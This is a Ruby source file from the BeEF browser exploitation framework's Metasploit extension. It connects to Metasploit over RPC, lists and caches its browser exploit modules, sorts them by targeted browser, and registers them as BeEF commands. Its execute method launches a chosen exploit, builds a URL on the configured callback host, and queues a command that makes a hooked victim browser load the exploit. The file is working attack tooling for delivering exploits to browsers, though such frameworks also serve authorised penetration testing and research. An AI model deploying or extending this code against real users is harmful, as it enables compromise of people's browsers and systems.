module BeEF
module Extension
module Metasploit
module API
module MetasploitHooks
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load')
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Server, 'mount_handler')
def self.post_soft_load
msf = BeEF::Extension::Metasploit::RpcClient.instance
timeout = 10
connected = false
Timeout.timeout(timeout) do
print_status("Connecting to Metasploit on #{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.host')}:#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.port')}")
connected = msf.login
rescue Timeout::Error
return
end
return unless connected
msf_module_config = {}
path = "#{$root_dir}/#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')}/msf-exploits.cache"
if !BeEF::Core::Console::CommandLine.parse[:resetdb] && File.exist?(path)
print_debug 'Attempting to use Metasploit exploits cache file'
raw = File.read(path)
begin
msf_module_config = YAML.safe_load(raw)
rescue StandardError => e
print_error "[Metasploit] #{e.message}"
print_error e.backtrace
end
count = 1
msf_module_config.each do |k, _v|
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k])
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k, nil])
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil])
print_over "Loaded #{count} Metasploit exploits."
count += 1
end
print "\r\n"
else
msf_modules = msf.call('module.exploits')
count = 1
msf_modules['modules'].each do |m|
next unless m.include? '/browser/'
m_details = msf.call('module.info', 'exploit', m)
next unless m_details
key = "msf_#{m.split('/').last}"
if m_details['description'] =~ /Java|JVM|flash|Adobe/i
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY => ['ALL'] }
elsif m_details['description'] =~ /IE|Internet\s+Explorer/i
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['IE'] }
elsif m_details['description'] =~ /Firefox/i
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['FF'] }
elsif m_details['description'] =~ /Chrome/i
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['C'] }
elsif m_details['description'] =~ /Safari/i
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['S'] }
elsif m_details['description'] =~ /Opera/i
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] }
end
msf_module_config[key] = {
'enable' => true,
'msf' => true,
'msf_key' => m,
'name' => m_details['name'],
'category' => 'Metasploit',
'description' => m_details['description'],
'authors' => m_details['references'],
'path' => path,
'class' => 'Msf_module',
'target' => target_browser
}
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key])
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil])
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil])
print_over "Loaded #{count} Metasploit exploits."
count += 1
end
print "\r\n"
File.open(path, 'w') do |f|
f.write(msf_module_config.to_yaml)
print_debug("Wrote Metasploit exploits to cache file: #{path}")
end
end
BeEF::Core::Configuration.instance.set('beef.module', msf_module_config)
end
def self.get_options(mod)
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
return if msf_key.nil?
msf = BeEF::Extension::Metasploit::RpcClient.instance
return unless msf.login
msf_module_options = msf.call('module.options', 'exploit', msf_key)
com = BeEF::Core::Models::CommandModule.where(name: mod).first
unless msf_module_options
print_error "Unable to retrieve metasploit options for exploit: #{msf_key}"
return
end
options = BeEF::Extension::Metasploit.translate_options(msf_module_options)
options << {
'name' => 'mod_id',
'id' => 'mod_id',
'type' => 'hidden',
'value' => com.id
}
msf_payload_options = msf.call('module.compatible_payloads', msf_key)
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" unless msf_payload_options
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
options
end
def self.override_execute(mod, hbsession, opts)
msf = BeEF::Extension::Metasploit::RpcClient.instance
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
msf_opts = {}
opts.each do |opt|
next if %w[e ie_session and_module_id].include? opt['name']
msf_opts[opt['name']] = opt['value']
end
if !msf_key.nil? && msf.login
msf.call('module.execute', 'exploit', msf_key, msf_opts)
end
hb = BeEF::HBManager.get_by_session(hbsession)
unless hb
print_error "Could not find hooked browser when attempting to execute module '#{mod}'"
return false
end
bopts = []
proto = msf_opts['SSL'] ? 'https' : 'http'
config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')
uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}"
bopts << { sploit_url: uri }
BeEF::Core::Models::Command.new(
data: bopts.to_json,
hooked_browser_id: hb.id,
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
creationdate: Time.new.to_i
).save
true
end
def self.get_payload_options(mod, payload)
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
return if msf_key.nil?
msf = BeEF::Extension::Metasploit::RpcClient.instance
return unless msf.login
msf_module_options = msf.call('module.options', 'payload', payload)
if msf_module_options
BeEF::Extension::Metasploit.translate_options(msf_module_options)
else
print_error "Unable to retrieve metasploit payload options for exploit: #{msf_key}"
end
end
def self.mount_handler(beef_server)
beef_server.mount('/api/msf', BeEF::Extension::Metasploit::MsfRest.new)
end
end
end
end
end
end